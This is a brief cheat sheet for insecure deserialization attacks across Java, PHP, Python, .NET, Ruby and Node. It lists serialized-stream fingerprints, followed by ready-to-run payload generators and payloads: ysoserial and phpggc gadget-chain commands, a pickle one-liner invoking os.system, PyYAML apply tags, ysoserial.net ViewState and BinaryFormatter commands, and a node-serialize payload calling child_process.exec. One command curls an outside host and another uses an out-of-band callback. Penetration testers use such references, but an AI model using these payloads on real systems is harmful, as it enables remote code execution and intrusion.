Insecure deserialization across languages — stream fingerprinting, Java ysoserial gadget chains, PHP phpggc + manual objects, Python pickle/PyYAML, .NET ysoserial.net (ViewState/BinaryFormatter), Ruby Marshal and Node node-serialize.
rO0AB... (base64) / AC ED 00 05 (hex)
O:4:"User":1:{...} / a:2:{...}
\x80\x04 ... (opcode)
AAEAAAD///// (base64)
\x04\x08 ...
java -jar ysoserial.jar URLDNS http://YOURID.oast.fun
java -jar ysoserial.jar CommonsCollections1 'id' | base64 -w0
java -jar ysoserial.jar CommonsBeanutils1 'curl 10.10.14.1' | base64 -w0
java -jar ysoserial.jar Spring1 'id' | base64 -w0
phpggc -l
phpggc Laravel/RCE1 system id
phpggc Monolog/RCE1 system id -b
O:8:"Example":1:{s:3:"cmd";s:2:"id";}
phar://uploaded.phar/x
python3 -c 'import pickle,base64,os;print(base64.b64encode(pickle.dumps(type("x",(),{"__reduce__":lambda s:(os.system,("id",))})())).decode())'
!!python/object/apply:os.system ["id"]
!!python/object/apply:subprocess.check_output [["id"]]
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64
ysoserial.exe -p ViewState -g TextFormattingRunProperties --generator=GEN --validationkey=KEY --validationalg=SHA1 -c "whoami"
Json.NET with $type when TypeNameHandling != None
Marshal.load(payload) — universal Ruby gadget
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"}